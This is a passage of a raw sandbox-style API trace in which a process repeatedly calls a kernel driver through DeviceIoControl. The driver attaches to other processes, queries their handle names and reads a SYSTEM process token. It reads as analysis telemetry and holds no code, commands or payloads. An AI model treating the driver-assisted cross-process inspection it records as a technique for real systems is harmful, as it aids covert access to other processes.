(Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.601] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.601] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x56, lpOverlapped=0x0) returned 1 [0136.601] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.601] PsAcquireProcessExitSynchronization () returned 0x0 [0136.601] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.601] ObReferenceObjectByHandle (in: Handle=0x684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003575ea0, HandleInformation=0x0) returned 0x0 [0136.601] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.601] PsReleaseProcessExitSynchronization () returned 0x2 [0136.601] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.601] ObQueryNameString (in: Object=0xfffffa8003575ea0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.601] ObfDereferenceObject (Object=0xfffffa8003575ea0) returned 0x2 [0136.601] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.601] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.601] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0136.601] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.601] PsAcquireProcessExitSynchronization () returned 0x0 [0136.602] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.602] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800321a890, HandleInformation=0x0) returned 0x0 [0136.602] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.602] PsReleaseProcessExitSynchronization () returned 0x2 [0136.602] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.602] ObQueryNameString (in: Object=0xfffffa80027268b0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.602] ObfDereferenceObject (Object=0xfffffa800321a890) returned 0x1 [0136.602] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.602] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.602] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0136.602] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.602] PsAcquireProcessExitSynchronization () returned 0x0 [0136.602] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.602] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003469300, HandleInformation=0x0) returned 0x0 [0136.602] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.602] PsReleaseProcessExitSynchronization () returned 0x2 [0136.602] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.602] ObQueryNameString (in: Object=0xfffffa8003469300, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.602] ObfDereferenceObject (Object=0xfffffa8003469300) returned 0x11 [0136.602] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.602] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.602] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.602] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.602] PsAcquireProcessExitSynchronization () returned 0x0 [0136.602] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.602] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800dbff6c0, HandleInformation=0x0) returned 0x0 [0136.602] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.602] PsReleaseProcessExitSynchronization () returned 0x2 [0136.602] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.603] ObQueryNameString (in: Object=0xfffffa800dbff6c0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.603] ObfDereferenceObject (Object=0xfffffa800dbff6c0) returned 0x1 [0136.603] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.603] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.603] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0136.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.603] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0136.603] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff800005f4) returned 0x0 [0136.603] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f4 [0136.603] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f4, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.603] ZwClose (Handle=0xffffffff800005f4) returned 0x0 [0136.603] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.603] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.603] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.720] CloseHandle (hObject=0xc8) returned 1 [0136.720] CloseHandle (hObject=0xc0) returned 1 [0136.720] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.720] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.720] PsAcquireProcessExitSynchronization () returned 0x0 [0136.721] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.721] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003175900, HandleInformation=0x0) returned 0x0 [0136.721] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.721] PsReleaseProcessExitSynchronization () returned 0x2 [0136.721] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.721] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.721] ObfDereferenceObject (Object=0xfffffa8003175900) returned 0x1 [0136.721] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.721] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.721] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.721] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.721] PsAcquireProcessExitSynchronization () returned 0x0 [0136.721] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.721] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800317e850, HandleInformation=0x0) returned 0x0 [0136.721] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.721] PsReleaseProcessExitSynchronization () returned 0x2 [0136.721] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.721] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.721] ObfDereferenceObject (Object=0xfffffa800317e850) returned 0x1 [0136.721] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.721] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.721] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0136.721] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.721] PsAcquireProcessExitSynchronization () returned 0x0 [0136.721] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.721] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f7fc80, HandleInformation=0x0) returned 0x0 [0136.721] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.721] PsReleaseProcessExitSynchronization () returned 0x2 [0136.721] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.721] ObQueryNameString (in: Object=0xfffffa8002f7fc80, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.721] ObfDereferenceObject (Object=0xfffffa8002f7fc80) returned 0x2 [0136.722] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.722] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.722] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.722] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.722] PsAcquireProcessExitSynchronization () returned 0x0 [0136.722] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.722] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.722] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.722] PsReleaseProcessExitSynchronization () returned 0x2 [0136.722] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.722] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.722] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.722] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.722] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.722] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.722] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.722] PsAcquireProcessExitSynchronization () returned 0x0 [0136.722] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.722] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0010a0bd0, HandleInformation=0x0) returned 0x0 [0136.722] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.722] PsReleaseProcessExitSynchronization () returned 0x2 [0136.722] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.722] ObQueryNameString (in: Object=0xfffff8a0010a0bd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.722] ObfDereferenceObject (Object=0xfffff8a0010a0bd0) returned 0x2 [0136.722] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.722] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.722] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.722] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.722] PsAcquireProcessExitSynchronization () returned 0x0 [0136.722] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.722] ObReferenceObjectByHandle (in: Handle=0x290, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0136.723] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.723] PsReleaseProcessExitSynchronization () returned 0x2 [0136.723] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.723] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.723] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0136.723] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.723] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.723] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.723] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.723] PsAcquireProcessExitSynchronization () returned 0x0 [0136.723] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.723] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.723] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.723] PsReleaseProcessExitSynchronization () returned 0x2 [0136.723] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.723] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.723] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.723] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.723] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.723] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0136.723] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.723] PsAcquireProcessExitSynchronization () returned 0x0 [0136.723] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.723] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003215bb0, HandleInformation=0x0) returned 0x0 [0136.723] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.723] PsReleaseProcessExitSynchronization () returned 0x2 [0136.723] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.723] ObQueryNameString (in: Object=0xfffffa8003215bb0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.723] ObfDereferenceObject (Object=0xfffffa8003215bb0) returned 0x1 [0136.723] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.723] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.723] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.724] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.724] PsAcquireProcessExitSynchronization () returned 0x0 [0136.724] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.724] ObReferenceObjectByHandle (in: Handle=0x394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032152f0, HandleInformation=0x0) returned 0x0 [0136.724] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.724] PsReleaseProcessExitSynchronization () returned 0x2 [0136.724] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.724] ObQueryNameString (in: Object=0xfffffa80032152f0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.724] ObfDereferenceObject (Object=0xfffffa80032152f0) returned 0x1 [0136.724] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.724] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.724] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0136.724] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.724] PsAcquireProcessExitSynchronization () returned 0x0 [0136.724] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.724] ObReferenceObjectByHandle (in: Handle=0x448, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003231380, HandleInformation=0x0) returned 0x0 [0136.724] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.724] PsReleaseProcessExitSynchronization () returned 0x2 [0136.724] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.724] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.724] ObfDereferenceObject (Object=0xfffffa8003231380) returned 0x12 [0136.724] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.724] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.724] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 